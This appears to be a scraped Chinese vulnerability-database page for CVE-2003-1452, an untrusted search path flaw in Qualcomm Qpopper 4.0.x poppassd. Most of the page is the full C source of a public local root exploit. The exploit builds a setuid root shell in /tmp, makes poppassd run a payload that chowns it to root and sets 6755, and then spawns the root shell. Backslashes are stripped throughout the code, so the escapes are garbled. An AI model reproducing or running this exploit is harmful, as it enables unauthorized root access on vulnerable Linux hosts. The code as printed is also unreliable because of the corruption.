子比主题，更优雅的Wordpress主题
更优雅的WordPress网站主题：子比主题！全面开启

Qualcomm Qpopper Poppassd本地任意命令执行漏洞

380

Qualcomm Qpopper Poppassd本地任意命令执行漏洞

漏洞ID 1107295 漏洞类型 配置错误
发布时间 2003-04-29 更新时间 2003-12-31
图片[1]-Qualcomm Qpopper Poppassd本地任意命令执行漏洞-安全小百科CVE编号 CVE-2003-1452
 		图片[2]-Qualcomm Qpopper Poppassd本地任意命令执行漏洞-安全小百科CNNVD-ID CNNVD-200312-445
漏洞平台 Linux CVSS评分 3.6
|漏洞来源
https://www.exploit-db.com/exploits/21
https://cxsecurity.com/issue/WLB-2007100089
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200312-445
|漏洞详情
Qualcommqpopper4.0至4.05版本存在不可信搜索路径漏洞。本地用户可以通过修改PATH环境变量引用恶意smbpasswd程序执行任意代码。
|漏洞EXP
/*
**
**  Title: Qpopper v4.0.x poppassd local root exploit.
**  Exploit code: 0x82-Local.Qp0ppa55d.c
**
** --
**  ./0x82-Local.Qp0ppa55d -u x82 -p mypasswd
**
**  Qpopper v4.0.x poppassd local root exploit.
**                          by Xpl017Elz
**
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>

#define BUF_SZ 0x82
#define D_POPPASS "/usr/local/bin/poppassd"
#define D_NAME "Happy-Exploit"
#define D_SHELL "/tmp/x82"
#define D_EXEC "/tmp/x0x"

int m_sh();
void banrl();
void usage(char *p_name);
struct stat ss;

void usage(char *p_name)
{
	fprintf(stdout," Usage: %s -option [argument]n",p_name);
	fprintf(stdout,"nt-u - Qpopper username.n");
	fprintf(stdout,"t-p - Qpopper password.n");
	fprintf(stdout,"t-t - Qpopper poppassd path.n");
	fprintf(stdout,"t-h - Help information.nn");
	fprintf(stdout," Example> %s -u x82 -p %snn",p_name,D_NAME);
	exit(-1);
}

int m_sh()
{
	char d_shell[BUF_SZ]=D_SHELL;
	char sh_drop[BUF_SZ];
	FILE *fp;
	
	memset((char *)sh_drop,0,sizeof(sh_drop));
	snprintf(sh_drop,sizeof(sh_drop)-1,"%s.c",d_shell);
	
	if((fp=fopen(sh_drop,"w"))==NULL)
	{
		perror(" [-] fopen() error");
		exit(-1);
	}
	
	fprintf(fp,"main() {n");
	fprintf(fp,"setreuid(0,0);nsetregid(0,0);n");
	fprintf(fp,"setuid(0);nsetgid(0);n");
	fprintf(fp,"system("su -");n}n");
	
	fclose(fp);

	memset((char *)sh_drop,0,sizeof(sh_drop));
	snprintf(sh_drop,sizeof(sh_drop)-1,
		"gcc -o %s %s.c >/dev/null 2>&1;"
		"rm -f %s.c >/dev/null 2>&1",
		d_shell,d_shell,d_shell);
	system(sh_drop);
	
	memset((char *)d_shell,0,sizeof(d_shell));
	strncpy(d_shell,D_EXEC,sizeof(d_shell)-1);
	
	memset((char *)sh_drop,0,sizeof(sh_drop));
	snprintf(sh_drop,sizeof(sh_drop)-1,"%s.c",d_shell);
	
	if((fp=fopen(sh_drop,"w"))==NULL)
	{
		perror(" [-] fopen() error");
		exit(-1);
	}
	
	fprintf(fp,"main() {n");
	fprintf(fp,"setreuid(0,0);nsetregid(0,0);n");
	fprintf(fp,"setuid(0);nsetgid(0);n");
	fprintf(fp,"system("chown root: %s");n",D_SHELL);
	fprintf(fp,"system("chmod 6755 %s");n}n",D_SHELL);
	
	fclose(fp);

	memset((char *)sh_drop,0,sizeof(sh_drop));
	snprintf(sh_drop,sizeof(sh_drop)-1,
		"gcc -o %s %s.c >/dev/null 2>&1;"
		"rm -f %s.c >/dev/null 2>&1",
		d_shell,d_shell,d_shell);
	system(sh_drop);

	if((stat(D_SHELL,&ss)==0)&&(stat(D_EXEC,&ss)==0))
	{
		fprintf(stdout," [+] make code.n");
		return(0);
	}
	else
	{
		fprintf(stderr," [-] code not found.n");
		return(-1);
	}
}

int main(int argc, char *argv[])
{
	int whtl;
	char user_id[BUF_SZ]=D_NAME;
	char passwd[BUF_SZ]=D_NAME;
	char tg_path[BUF_SZ]=D_POPPASS;
	char df_sh[BUF_SZ]=D_SHELL;

	(void)banrl();
	
	while((whtl=getopt(argc,argv,"U:u:P:p:T:t:Hh"))!=-1)
	{
		extern char *optarg;
		switch(whtl)
		{
			case 'U':
			case 'u':
				memset((char *)user_id,0,sizeof(user_id));
				strncpy(user_id,optarg,sizeof(user_id)-1);
				break;
				
			case 'P':
			case 'p':
				memset((char *)passwd,0,sizeof(passwd));
				strncpy(passwd,optarg,sizeof(passwd)-1);
				break;
				
			case 'T':
			case 't':
				memset((char *)tg_path,0,sizeof(tg_path));
				strncpy(tg_path,optarg,sizeof(tg_path)-1);
				break;
				
			case 'H':
			case 'h':
				(void)usage(argv[0]);
				break;
				
			case '?':
				fprintf(stderr," Try `%s -i' for more information.nn",argv[0]);
				exit(-1);
				break;
		}
	}
	
	if(!strcmp(user_id,D_NAME)||!strcmp(passwd,D_NAME))
	{
		(void)usage(argv[0]);
		exit(-1);
	}
	else
	{
		char comm[1024];
		int out[2],in[2];

		if(((int)m_sh())==-1)
		{
			fprintf(stdout," [-] exploit failed.nn");
			exit(-1);
		}

		if(pipe(out)==-1)
		{
			perror(" [-] pipe() error");
			exit(-1);
		}
		
		if(pipe(in)==-1)
		{
			perror(" [-] pipe() error");
			exit(-1);
		}
		
		switch(fork())
		{
			case -1:
				perror(" [-] fork() error");
				break;

			case 0:
				close(out[0]);
				close(in[1]);
				
				dup2(out[1],STDOUT_FILENO);
				dup2(in[0],STDIN_FILENO);
				
				execl(tg_path,tg_path,"-s",D_EXEC,0);
				break;

			default:
				close(out[1]);
				close(in[0]);

				fprintf(stdout," [+] execute poppassd.n");
				memset((char *)comm,0,sizeof(comm));
				read(out[0],comm,sizeof(comm)-1);
				fprintf(stdout," %s",comm);

				memset((char *)comm,0,sizeof(comm));
				snprintf(comm,sizeof(comm)-1,"user %srn",user_id);
				fprintf(stdout," [+] input username.n");
				write(in[1],comm,strlen(comm));

				memset((char *)comm,0,sizeof(comm));
				read(out[0],comm,sizeof(comm)-1);
				fprintf(stdout," %s",comm);

				memset((char *)comm,0,sizeof(comm));
				snprintf(comm,sizeof(comm)-1,"pass %srn",passwd);
				fprintf(stdout," [+] input password.n");
				write(in[1],comm,strlen(comm));

				memset((char *)comm,0,sizeof(comm));
				read(out[0],comm,sizeof(comm)-1);
				fprintf(stdout," %s",comm);

				memset((char *)comm,0,sizeof(comm));
				snprintf(comm,sizeof(comm)-1,"newpass %srn",passwd);
				fprintf(stdout," [+] input fake new password.n");
				write(in[1],comm,strlen(comm));

				close(out[0]);
				close(in[1]);
				break;
		}

		fprintf(stdout," [+] wait, 2sec.n");
		sleep(2);

		if((stat(D_SHELL,&ss)==0)&&(ss.st_mode&S_ISUID))
		{
			fprintf(stdout," [+] Ok, exploited successfully.n");
			fprintf(stdout," [*] It's Rootshell !nn");
			unlink(D_EXEC);
			execl(D_SHELL,D_SHELL,0);
		}
		else
		{
			fprintf(stdout," [-] exploit failed.nn");
			exit(-1);
		}
	}
}

void banrl()
{
	fprintf(stdout,"n Qpopper v4.0.x poppassd local root exploit.n");
	fprintf(stdout,"                                by Xpl017Elznn");
}



// milw0rm.com [2003-04-29]
|参考资料

来源:XF
名称:qpopper-poppassd-root-access(11877)
链接:http://xforce.iss.net/xforce/xfdb/11877
来源:BID
名称:7447
链接:http://www.securityfocus.com/bid/7447
来源:BUGTRAQ
名称:20030428Qpopperv4.0.xpoppassdlocalrootexploit
链接:http://www.securityfocus.com/archive/1/319811
来源:VULNWATCH
名称:20030429[INetCopSecurityAdvisory]Qpopperv4.0.xpoppassdlocalroot
链接:http://archives.neohapsis.com/archives/vulnwatch/2003-q2/0047.html
来源:SREASON
名称:3268
链接:http://securityreason.com/securityalert/3268

相关推荐: W3C Amaya Templates Server sendtemp.pl远程目录遍历漏洞

W3C Amaya Templates Server sendtemp.pl远程目录遍历漏洞 漏洞ID 1106245 漏洞类型 未知 发布时间 2001-03-04 更新时间 2001-05-03 CVE编号 CVE-2001-0272 CNNVD-ID C…

© 版权声明
文章版权归作者所有，未经允许请勿转载。
THE END
网络安全漏洞
# 漏洞# cnnvd
喜欢就支持一下吧
点赞0
分享
相关推荐
安全小百科-Comdev eCommerce 3.0 – ‘config.php’ Remote File Inclusion
Comdev eCommerce 3.0 – ‘config.php’ Remote File Inclusion
Comdev eCommerce 3.0 – ‘config.php’ Remote File Inclusion
3年前 4771
安全小百科-帆软10.0 Getshell漏洞分析
帆软10.0 Getshell漏洞分析
帆软10.0 Getshell漏洞分析
3年前 1194
安全小百科-Multiple Lucent Router UDP Port 9 Information Disclosure Vulnerability
Multiple Lucent Router UDP Port 9 Information Disclosure Vulnerability
Multiple Lucent Router UDP Port 9 Information Disclosure Vulnerability
3年前 588
安全小百科-Symantec Enterprise Firewall DNSD DNS Cache Poisoning Vulnerability
Symantec Enterprise Firewall DNSD DNS Cache Poisoning Vulnerability
Symantec Enterprise Firewall DNSD DNS Cache Poisoning Vulnerability
3年前 531
安全小百科-iChat ROOMS Webserver任意文件读取漏洞
iChat ROOMS Webserver任意文件读取漏洞
iChat ROOMS Webserver任意文件读取漏洞
3年前 523
安全小百科-gnubiff多个远程POP3协议漏洞
gnubiff多个远程POP3协议漏洞
gnubiff多个远程POP3协议漏洞
3年前 459
搜索
开启精彩搜索
标签云
龟背龚某龙鱼龙马龙首龙车龙身龙芯龙生九子龙火龙海市龙泉驿区龙岩市龙女龙南县龙凤龙伯龍首龍門龍身
公司成功上市啦！ - 作者:KOAL格尔国信-安全小百科

公司成功上市啦！ – 作者:KOAL格尔国信

admin的头像-安全小百科3年前
049730
Comdev eCommerce 3.0 - 'config.php' Remote File Inclusion-安全小百科

Comdev eCommerce 3.0 – ‘config.php’ Remote File Inclusion

admin的头像-安全小百科3年前
47710
GeoServer漏洞利用总结及案例参考 - 作者:vlong6-安全小百科

GeoServer漏洞利用总结及案例参考 – 作者:vlong6

admin的头像-安全小百科3年前
020430
女祭女戚-安全小百科

女祭女戚

admin的头像-安全小百科3年前
012860
帆软10.0 Getshell漏洞分析-安全小百科

帆软10.0 Getshell漏洞分析

admin的头像-安全小百科3年前
011940
科锐逆向线上班完整版视频2020年 - 作者:hgjhf63fa-安全小百科

科锐逆向线上班完整版视频2020年 – 作者:hgjhf63fa

admin的头像-安全小百科3年前
010510
恐龙抗狼扛的头像-安全小百科

恐龙抗狼扛1年前0

kankan
admin的头像-安全小百科

啊啊啊啊3年前0

66666666666666